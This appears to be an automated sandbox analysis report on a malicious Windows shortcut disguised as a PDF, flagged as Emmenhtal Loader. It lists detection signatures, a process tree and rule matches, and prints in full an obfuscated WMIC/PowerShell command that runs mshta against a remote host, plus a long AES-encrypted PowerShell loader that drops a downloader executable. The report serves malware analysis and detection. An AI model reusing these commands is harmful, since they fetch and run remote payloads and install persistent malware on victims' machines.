Edit tour

Windows Analysis Report
HateSpeech2024_Summary.pdf.lnk.bin.lnk

Overview

General Information

Sample name:	HateSpeech2024_Summary.pdf.lnk.bin.lnk
Analysis ID:	1584384
MD5:	97d7ccb68cdc1beaee32700a58e8f901
SHA1:	c16d12acb3de008be42cd1d5527ee5ecd51d6354
SHA256:	9315c00b9914f987381604b289e426dab0e6c8eefd7ccb0656c2cde5503800c7
Tags:	lnkuser-zhuzhu0009
Infos:

Detection

Emmenhtal Loader, MalLnk

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Sigma detected: Drops script at startup location

Windows shortcut file (LNK) starts blacklisted processes

Yara detected Emmenhtal Loader

Yara detected malicious lnk

AI detected suspicious sample

Contains functionality to create processes via WMI

Creates processes via WMI

Drops VBS files to the startup folder

Found PHP interpreter

Powershell drops PE file

Sigma detected: Potentially Suspicious PowerShell Child Processes

Sigma detected: Suspicious MSHTA Child Process

Sigma detected: Suspicious Process Created Via Wmic.EXE

Sigma detected: WScript or CScript Dropper

Suspicious powershell command line found

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Uses an obfuscated file name to hide its real file extension (double extension)

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Windows shortcut file (LNK) contains suspicious command line arguments

Binary contains a suspicious time stamp

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

PE file does not import any functions

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for the Microsoft Outlook file path

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Stores files to the Windows start menu directory

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara signature match

Classification

Process Tree

System is w10x64

WMIC.exe (PID: 7560 cmdline: "C:\Windows\System32\Wbem\wmic.exe" process call create "powershell -w 1 powershell -Command ('ms' + 'hta' + '.exe ' + 'https://myfilebuilders.com/samm')" MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

conhost.exe (PID: 7568 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7628 cmdline: powershell -w 1 powershell -Command ('ms' + 'hta' + '.exe ' + 'https://myfilebuilders.com/samm') MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7636 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7788 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "mshta.exe https://myfilebuilders.com/samm" MD5: 04029E121A0CFA5991749937DD22A1D9)

mshta.exe (PID: 7872 cmdline: "C:\Windows\system32\mshta.exe" https://myfilebuilders.com/samm MD5: 0B4340ED812DC82CE636C00FA5C9BEF2)

powershell.exe (PID: 8032 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $ddg = 'CC0D32DBB8F2AEAAAD367283309458E20D13E54AE9F93C26DBBAD73293BD50A36D9574E1A9FCCBBE98A49FC7AA50C3C051F3CBAE9B99771F9B3471A8B7406647B45710656B9560F816F99C52E5CD056E94BB343C78DECD912750ECF5C120A3C6120F92F9AB407C779692B2B801886D4C1933853B818B2F4ACBF254531544A97C461534F8989BDBE763C47BD13A5027B3175BDB8C0BA73400B08CB34FF3383856710CB6019243D1C36B39D01C9442DBEB89528D749444614EA6F3A125CFDB0B5CB39EA903AD087683829FAE488C94736BC882DFA6F1B5BADE602DC13EA4A71F59C0C555E4AA6CC495A964CEE240BAC2F3D429AA98692B0BF989429E291DCF520A3167A6D7D554A48ED1EC98E1F71AA758670750C98404FB140B70E6F8CE88015D69E8D0F3FCF7F737F074F810905C0DD5FD37726F325B89CC02C3B0CD71DD28A101A9080999F615A7AF33942A1FEAF9033FFB3CB02D88C83CEA4BEB13D36CCCDE536D2D4EA38EA00E492838E3E78EE9C0CA9DBC405A5C6F049999533FD9F5FA7404801734E8378978546AAF5D84956D74F1C451D373B86F3488593922F15AEE13BA02471A9C112CEDF4833B3F0638A4A8CECD1D52E9714EA9EDEB5E32944EB33FE52FB8A4B556B1DA6183E48183ACE760AE01310141F680BF3D33446801FC2BFD3000C1BDD51A6E8F30AA8A9B5C8BFBB555A5C04AC12A81509772CE127CB8598C525EBA2A091166AA250CCC96785ABD72973ECED6924E22C09BD25C868452073029B96D7C754E3D74FDF15E08C2A0F4C53F93F39EC3F0FD965A188FDF13D042BBC47CF96138A70FAB9162E32734D3C137CC3A4D27DB5363F9FA5F59ECAC5ADF283B806C00431D7D240795F83F85010F571088B246CEEDC36DADA39641C871CCD8E775017B5A338D1D94E045C140E05F8F86DB296BFFD092C327B31BB3D19F8C1B5B5EFBFD54647ABB292A0F16D86139B074238F1AB2638E0A3034AC7C00056A6E988B63A360B70DCBCDFD1A98A7DE9D02F1760C98DEFEFD55748A81631DD8336CCBC8BDB9784FDC8ED2398FADF660B1349E919FD6497D31A84903C8649BB847B3734E51D3C9ABDFA5BBE03A6CA0E3EC6A9ABB6054F6EB3DE0B804173A9DFDFD85C03FBB3DD4CD7152D30D13AF80E4BC2D9D561DB494C445384AF14A71AF67A3F252F2BAB0EB8A399A9F3DE478EE0920E4F717E63A195E6394FFD001BEFEED37566A40C55DC5CF48EF42822AD3876834FF7F2C41AA52134D41CE152176D5FBC298F91AF4E5C2ADB1486720693646536D8308BF068787AEE0EED268732FA76B22C73A43EEC2E677B595D575F1EDD71FAEC18238660E9D88409FA932407116BB516B6340B888E6FF5C5E303826F793F4E87135C2D9D20886EB5FCFC42C0D9603B67C13BBE82488090447CE2D406BCE4F71F8DED1277FB46A3F2E9FEB147880DEF6AD74481A95C5A94D480FA6742D967332B49570E903748A0BC475D54F8A4C548412C4AE30767A66A97B5BCFEE2DCB02BD3B11FA82EA1D214EA6520580B2DDF1FACDAD83B1921E52658D688B42F0DC0F163134922A308D66702D2E0ABFC978ECCE276FD6423CFF201D4169303D1FEE518BF422FDA896E2625653444DDB524D1779473C3EF10919F817A39FEBE05CE776ACD3EEB5F6529FC14DA7797DC617900100111D543A4680515798A7EB47B4C3C8F79DA82C90F0A61ADCC29B3FFCB05F9F13ECC10A907A9F8FD908476EA00AAE8E8631736D715947485271496F5853536B744B';function wLh ($iUUDD){return -split ($iUUDD -replace '..', '0x$& ')};$feiFxp = wLh($ddg.SubString(0, 2464));$zXe = [System.Security.Cryptography.Aes]::Create();$zXe.Key = wLh($ddg.SubString(2464));$zXe.IV = New-Object byte[] 16;$QlaSHZgH = $zXe.CreateDecryptor();$PwiNROQ = [System.String]::new($QlaSHZgH.TransformFinalBlock($feiFxp, 0,$feiFxp.Length)); sal fd $PwiNROQ.Substring(3,3); fd $PwiNROQ.Substring(6) MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 8040 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Acrobat.exe (PID: 7292 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Roaming\Professional_Social_Media_Report.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 2924 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7640 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2084 --field-trial-handle=1720,i,17340846460468953801,1805849140092646528,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

php_bot_downloader_v2-AVERAGE-BOI-CLN.exe (PID: 7828 cmdline: "C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe" MD5: F63E0C410E4CA83CDA47BA4871AEAC30)

cmd.exe (PID: 9080 cmdline: "C:\Windows\System32\cmd.exe" /C tar -xf "C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64.zip" -C "C:\Users\user\AppData\Roaming" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 9088 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tar.exe (PID: 9124 cmdline: tar -xf "C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64.zip" -C "C:\Users\user\AppData\Roaming" MD5: 3596DC15B6F6CBBB6EC8B143CBD57F24)

cmd.exe (PID: 9160 cmdline: "C:\Windows\System32\cmd.exe" /C C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php-win.php MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 9168 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

php.exe (PID: 9208 cmdline: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php-win.php MD5: FA544CF95C1B82AFC25B9C5C55C5AD73)

svchost.exe (PID: 7964 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

wscript.exe (PID: 8340 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PHP-8.2.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 2672 cmdline: "C:\Windows\System32\cmd.exe" /c C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php-win.php MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2128 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

php.exe (PID: 8264 cmdline: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php-win.php MD5: FA544CF95C1B82AFC25B9C5C55C5AD73)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
HateSpeech2024_Summary.pdf.lnk.bin.lnk	JoeSecurity_MalLnk	Yara detected malicious lnk	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\samm[1]	JoeSecurity_EmmenhtalLoader	Yara detected Emmenhtal Loader	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\samm[1]	emmenhtal_strings_hta_exe	Emmenhtal Loader string	Sekoia.io	0xccdd7:$char: = String.fromCharCode(Yb,Zy, 0xccdd0:$var: var 0x11a00e:$eval: eval( 0xccc4f:$script1: <script> 0x11a004:$script1: <script> 0xd5bfb:$script2: </script>MZ 0x11a02a:$script2: </script>MZ

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: mshta.exe PID: 7872	JoeSecurity_EmmenhtalLoader	Yara detected Emmenhtal Loader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Potentially Suspicious PowerShell Child Processes

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\system32\mshta.exe" https://myfilebuilders.com/samm, CommandLine: "C:\Windows\system32\mshta.exe" https://myfilebuilders.com/samm, CommandLine|base64offset|contains: , Image: C:\Windows\System32\mshta.exe, NewProcessName: C:\Windows\System32\mshta.exe, OriginalFileName: C:\Windows\System32\mshta.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "mshta.exe https://myfilebuilders.com/samm", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7788, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\system32\mshta.exe" https://myfilebuilders.com/samm, ProcessId: 7872, ProcessName: mshta.exe

Sigma detected: Suspicious MSHTA Child Process

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $ddg = 'CC0D32DBB8F2AEAAAD367283309458E20D13E54AE9F93C26DBBAD73293BD50A36D9574E1A9FCCBBE98A49FC7AA50C3C051F3CBAE9B99771F9B3471A8B7406647B45710656B9560F816F99C52E5CD056E94BB343C78DECD912750ECF5C120A3C6120F92F9AB407C779692B2B801886D4C1933853B818B2F4ACBF254531544A97C461534F8989BDBE763C47BD13A5027B3175BDB8C0BA73400B08CB34FF3383856710CB6019243D1C36B39D01C9442DBEB89528D749444614EA6F3A125CFDB0B5CB39EA903AD087683829FAE488C94736BC882DFA6F1B5BADE602DC13EA4A71F59C0C555E4AA6CC495A964CEE240BAC2F3D429AA98692B0BF989429E291DCF520A3167A6D7D554A48ED1EC98E1F71AA758670750C98404FB140B70E6F8CE88015D69E8D0F3FCF7F737F074F810905C0DD5FD37726F325B89CC02C3B0CD71DD28A101A9080999F615A7AF33942A1FEAF9033FFB3CB02D88C83CEA4BEB13D36CCCDE536D2D4EA38EA00E492838E3E78EE9C0CA9DBC405A5C6F049999533FD9F5FA7404801734E8378978546AAF5D84956D74F1C451D373B86F3488593922F15AEE13BA02471A9C112CEDF4833B3F0638A4A8CECD1D52E9714EA9EDEB5E32944EB33FE52FB8A4B556B1DA6183E48183ACE760AE01310141F680BF3D33446801FC2BFD3000C1BDD51A6E8F30AA8A9B5C8BFBB555A5C04AC12A81509772CE127CB8598C525EBA2A091166AA250CCC96785ABD72973ECED6924E22C09BD25C868452073029B96D7C754E3D74FDF15E08C2A0F4C53F93F39EC3F0FD965A188FDF13D042BBC47CF96138A70FAB9162E32734D3C137CC3A4D27DB5363F9FA5F59ECAC5ADF283B806C00431D7D240795F83F85010F571088B246CEEDC36DADA39641C871CCD8E775017B5A338D1D94E045C140E05F8F86DB296BFFD092C327B31BB3D19F8C1B5B5EFBFD54647ABB292A0F16D86139B074238F1AB2638E0A3034AC7C00056A6E988B63A360B70DCBCDFD1A98A7DE9D02F1760C98DEFEFD55748A81631DD8336CCBC8BDB9784FDC8ED2398FADF660B1349E919FD6497D31A84903C8649BB847B3734E51D3C9ABDFA5BBE03A6CA0E3EC6A9ABB6054F6EB3DE0B804173A9DFDFD85C03FBB3DD4CD7152D30D13AF80E4BC2D9D561DB494C445384AF14A71AF67A3F252F2BAB0EB8A399A9F3DE478EE0920E4F717E63A195E6394FFD001BEFEED37566A40C55DC5CF48EF42822AD3876834FF7F2C41AA52134D41CE152176D5FBC298F91AF4E5C2ADB1486720693646536D8308BF068787AEE0EED268732FA76B22C73A43EEC2E677B595D575F1EDD71FAEC18238660E9D88409FA932407116BB516B6340B888E6FF5C5E303826F793F4E87135C2D9D20886EB5FCFC42C0D9603B67C13BBE82488090447CE2D406BCE4F71F8DED1277FB46A3F2E9FEB147880DEF6AD74481A95C5A94D480FA6742D967332B49570E903748A0BC475D54F8A4C548412C4AE30767A66A97B5BCFEE2DCB02BD3B11FA82EA1D214EA6520580B2DDF1FACDAD83B1921E52658D688B42F0DC0F163134922A308D66702D2E0ABFC978ECCE276FD6423CFF201D4169303D1FEE518BF422FDA896E2625653444DDB524D1779473C3EF10919F817A39FEBE05CE776ACD3EEB5F6529FC14DA7797DC617900100111D543A4680515798A7EB47B4C3C8F79DA82C90F0A61ADCC29B3FFCB05F9F13ECC10A907A9F8FD908476EA00AAE8E8631736D715947485271496F5853536B744B';function wLh ($iUUDD){return -split ($iUUDD -replace '..', '0x$& ')};$feiFxp = wLh($ddg.SubString(0, 2464));$zXe = [System.Security.Cryptography.Aes]::Create();$zXe.Key = wLh($ddg.SubString(2464));$zXe.IV = New-Object byte[] 16;$QlaSHZgH = $zXe.CreateDecryptor();$PwiNROQ = [System.String]::new($QlaSHZgH.TransformFinalBlock($feiFxp, 0,$feiFxp.Length)); sal fd $PwiNROQ.Substring(3,3); fd $Pw

Sigma detected: Suspicious Process Created Via Wmic.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\Wbem\wmic.exe" process call create "powershell -w 1 powershell -Command ('ms' + 'hta' + '.exe ' + 'https://myfilebuilders.com/samm')", CommandLine: "C:\Windows\System32\Wbem\wmic.exe" process call create "powershell -w 1 powershell -Command ('ms' + 'hta' + '.exe ' + 'https://myfilebuilders.com/samm')", CommandLine|base64offset|contains: z, Image: C:\Windows\System32\wbem\WMIC.exe, NewProcessName: C:\Windows\System32\wbem\WMIC.exe, OriginalFileName: C:\Windows\System32\wbem\WMIC.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: "C:\Windows\System32\Wbem\wmic.exe" process call create "powershell -w 1 powershell -Command ('ms' + 'hta' + '.exe ' + 'https://myfilebuilders.com/samm')", ProcessId: 7560, ProcessName: WMIC.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PHP-8.2.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PHP-8.2.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PHP-8.2.vbs" , ProcessId: 8340, ProcessName: wscript.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $ddg = 'CC0D32DBB8F2AEAAAD367283309458E20D13E54AE9F93C26DBBAD73293BD50A36D9574E1A9FCCBBE98A49FC7AA50C3C051F3CBAE9B99771F9B3471A8B7406647B45710656B9560F816F99C52E5CD056E94BB343C78DECD912750ECF5C120A3C6120F92F9AB407C779692B2B801886D4C1933853B818B2F4ACBF254531544A97C461534F8989BDBE763C47BD13A5027B3175BDB8C0BA73400B08CB34FF3383856710CB6019243D1C36B39D01C9442DBEB89528D749444614EA6F3A125CFDB0B5CB39EA903AD087683829FAE488C94736BC882DFA6F1B5BADE602DC13EA4A71F59C0C555E4AA6CC495A964CEE240BAC2F3D429AA98692B0BF989429E291DCF520A3167A6D7D554A48ED1EC98E1F71AA758670750C98404FB140B70E6F8CE88015D69E8D0F3FCF7F737F074F810905C0DD5FD37726F325B89CC02C3B0CD71DD28A101A9080999F615A7AF33942A1FEAF9033FFB3CB02D88C83CEA4BEB13D36CCCDE536D2D4EA38EA00E492838E3E78EE9C0CA9DBC405A5C6F049999533FD9F5FA7404801734E8378978546AAF5D84956D74F1C451D373B86F3488593922F15AEE13BA02471A9C112CEDF4833B3F0638A4A8CECD1D52E9714EA9EDEB5E32944EB33FE52FB8A4B556B1DA6183E48183ACE760AE01310141F680BF3D33446801FC2BFD3000C1BDD51A6E8F30AA8A9B5C8BFBB555A5C04AC12A81509772CE127CB8598C525EBA2A091166AA250CCC96785ABD72973ECED6924E22C09BD25C868452073029B96D7C754E3D74FDF15E08C2A0F4C53F93F39EC3F0FD965A188FDF13D042BBC47CF96138A70FAB9162E32734D3C137CC3A4D27DB5363F9FA5F59ECAC5ADF283B806C00431D7D240795F83F85010F571088B246CEEDC36DADA39641C871CCD8E775017B5A338D1D94E045C140E05F8F86DB296BFFD092C327B31BB3D19F8C1B5B5EFBFD54647ABB292A0F16D86139B074238F1AB2638E0A3034AC7C00056A6E988B63A360B70DCBCDFD1A98A7DE9D02F1760C98DEFEFD55748A81631DD8336CCBC8BDB9784FDC8ED2398FADF660B1349E919FD6497D31A84903C8649BB847B3734E51D3C9ABDFA5BBE03A6CA0E3EC6A9ABB6054F6EB3DE0B804173A9DFDFD85C03FBB3DD4CD7152D30D13AF80E4BC2D9D561DB494C445384AF14A71AF67A3F252F2BAB0EB8A399A9F3DE478EE0920E4F717E63A195E6394FFD001BEFEED37566A40C55DC5CF48EF42822AD3876834FF7F2C41AA52134D41CE152176D5FBC298F91AF4E5C2ADB1486720693646536D8308BF068787AEE0EED268732FA76B22C73A43EEC2E677B595D575F1EDD71FAEC18238660E9D88409FA932407116BB516B6340B888E6FF5C5E303826F793F4E87135C2D9D20886EB5FCFC42C0D9603B67C13BBE82488090447CE2D406BCE4F71F8DED1277FB46A3F2E9FEB147880DEF6AD74481A95C5A94D480FA6742D967332B49570E903748A0BC475D54F8A4C548412C4AE30767A66A97B5BCFEE2DCB02BD3B11FA82EA1D214EA6520580B2DDF1FACDAD83B1921E52658D688B42F0DC0F163134922A308D66702D2E0ABFC978ECCE276FD6423CFF201D4169303D1FEE518BF422FDA896E2625653444DDB524D1779473C3EF10919F817A39FEBE05CE776ACD3EEB5F6529FC14DA7797DC617900100111D543A4680515798A7EB47B4C3C8F79DA82C90F0A61ADCC29B3FFCB05F9F13ECC10A907A9F8FD908476EA00AAE8E8631736D715947485271496F5853536B744B';function wLh ($iUUDD){return -split ($iUUDD -replace '..', '0x$& ')};$feiFxp = wLh($ddg.SubString(0, 2464));$zXe = [System.Security.Cryptography.Aes]::Create();$zXe.Key = wLh($ddg.SubString(2464));$zXe.IV = New-Object byte[] 16;$QlaSHZgH = $zXe.CreateDecryptor();$PwiNROQ = [System.String]::new($QlaSHZgH.TransformFinalBlock($feiFxp, 0,$feiFxp.Length)); sal fd $PwiNROQ.Substring(3,3); fd $Pw

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 8032, TargetFilename: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PHP-8.2.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PHP-8.2.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PHP-8.2.vbs" , ProcessId: 8340, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -w 1 powershell -Command ('ms' + 'hta' + '.exe ' + 'https://myfilebuilders.com/samm'), CommandLine: powershell -w 1 powershell -Command ('ms' + 'hta' + '.exe ' + 'https://myfilebuilders.com/samm'), CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\Wbem\wmic.exe" process call create "powershell -w 1 powershell -Command ('ms' + 'hta' + '.exe ' + 'https://myfilebuilders.com/samm')", ParentImage: C:\Windows\System32\wbem\WMIC.exe, ParentProcessId: 7560, ParentProcessName: WMIC.exe, ProcessCommandLine: powershell -w 1 powershell -Command ('ms' + 'hta' + '.exe ' + 'https://myfilebuilders.com/samm'), ProcessId: 7628, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7964, ProcessName: svchost.exe

Data Obfuscation

Sigma detected: Drops script at startup location

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe, ProcessId: 9208, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PHP-8.2.vbs

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: HateSpeech2024_Summary.pdf.lnk.bin.lnk	ReversingLabs: Detection: 23%
Source: HateSpeech2024_Summary.pdf.lnk.bin.lnk	Virustotal: Detection: 27%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\license.txt
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\readme-redist-bins.txt

Source:	Binary string: D:\a\php-ftw\php-ftw\php\vs16\x64\obj\Release_TS\php8ts.pdb source: php.exe, 00000018.00000002.2896466367.00007FFDF9C2B000.00000002.00000001.01000000.00000010.sdmp, php.exe, 0000001C.00000002.2896212537.00007FFDF9C2B000.00000002.00000001.01000000.00000010.sdmp
Source:	Binary string: sethc.pdbGCTL source: mshta.exe, 00000005.00000003.1677761143.000001EB131FF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1840765627.000001EB1396A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1840765627.000001EB139C7000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1839341806.000001EB13A67000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1840318424.000001EB1395B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1842211450.000001EB13116000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1679419864.000001EB131FF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1843243271.000001EB13118000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1841460930.000001EB0EFB4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1840586133.000001EB13968000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1841125562.000001EB1315A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1842473193.000001EB138C6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1841348809.000001EB13071000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1839954374.000001EB15CC1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1840963450.000001EB139FA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1842138558.000001EB0EFA6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000005.00000003.1842172300.000001EB0EFAA000.00000004.00000020.00020000.00000000.sdmp
